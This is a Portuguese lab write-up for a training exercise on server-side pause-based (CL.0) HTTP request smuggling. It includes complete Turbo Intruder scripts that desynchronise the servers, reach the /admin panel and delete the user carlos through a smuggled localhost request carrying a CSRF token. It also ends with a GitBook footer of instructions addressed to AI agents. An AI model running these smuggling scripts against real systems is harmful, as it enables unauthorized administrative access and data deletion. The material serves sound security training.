> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/server-side-pause-based-request-smuggling.md).
# Smuggling de requisições baseado em pausa no lado do servidor
### Request smuggling no lado do servidor baseado em pausa
O laboratório é vulnerável a um ataque de request smuggling no lado do servidor baseado em pausa. O servidor frontal transmite requisições para o servidor interno continuamente, e o servidor interno não fecha a conexão após um período de inatividade em alguns endpoints.
Para resolver o laboratório:
* Identifique um vetor de dessincronização **CL.0** baseado em uma pausa,
* Faça smuggling de uma requisição para o servidor interno para acessar o painel de administração **/admin**,
* Em seguida, exclua o usuário **carlos**.
**Nota**/ Algumas vulnerabilidades desse tipo não podem ser exploradas com as ferramentas nativas do Burp. É necessário usar a **Turbo Intruder** extensão.
#### **Ponto vulnerável: `/resources`**
Ao enviar uma requisição para `/resources` e inserir uma pausa longa (61 segundos), é possível causar dessincronização entre o front-end e o back-end:
```http
POST /resources HTTP/1.1
Host: 0a74000e041dbbc380a6498700dd0096.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
GET /error HTTP/1.1
Host: 0a74000e041dbbc380a6498700dd0096.web-security-academy.net
```
Para explorar esse comportamento, usamos **Turbo Intruder**.
#### **Script base**
O script padrão é modificado para inserir uma pausa de **61 000 ms** após enviar o marcador (`pauseMarker`), para que a segunda requisição seja injetada após o atraso:
A análise mostra que duas requisições chegam ao back-end após cerca de **62 segundos**, o que confirma a vulnerabilidade.
```python
def queueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=100,
pipeline=False,
)
attacker_request = """POST /resources HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: %s
%s"""
smuggled_request = """GET /error HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
"""
normal_request = """GET / HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
"""
engine.queue(attacker_request, [len(smuggled_request), smuggled_request], pauseMarker=['/r/n/r/nGET'], pauseTime=61000)
engine.queue(normal_request)
def handleResponse(req, interesting):
table.add(req)
```
#### **Injeção em direção a `/admin/`**
Ao adaptar a requisição escondida para o painel de administração:
```http
def queueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=100,
pipeline=False,
)
attacker_request = """POST /resources HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: %s
%s"""
smuggled_request = """GET /admin/ HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
"""
normal_request = """GET / HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
"""
engine.queue(attacker_request, [len(smuggled_request), smuggled_request], pauseMarker=['/r/n/r/nGET'], pauseTime=61000)
engine.queue(normal_request)
def handleResponse(req, interesting):
table.add(req)
```
O servidor interno responde com **Encontrado**, provando que o acesso de administrador foi obtido à força.
#### **Exclusão do usuário Carlos**
Para contornar a proteção CSRF, o host da requisição escondida é modificado para **localhost**, incluindo o corpo POST com o token capturado:
```http
def queueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=100,
pipeline=False,
)
attacker_request = """POST /resources HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: %s
%s"""
smuggled_request = """POST /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 53
csrf=Re4MnOmcNv3hE8gobZocHnS9vcwce2sc&username=carlos
"""
normal_request = """GET / HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
"""
engine.queue(attacker_request, [len(smuggled_request), smuggled_request], pauseMarker=['/r/n/r/nPOST'], pauseTime=61000)
engine.queue(normal_request)
def handleResponse(req, interesting):
table.add(req)
```
A injeção aciona o POST escondido no servidor interno, que remove o usuário **carlos**.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/server-side-pause-based-request-smuggling.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.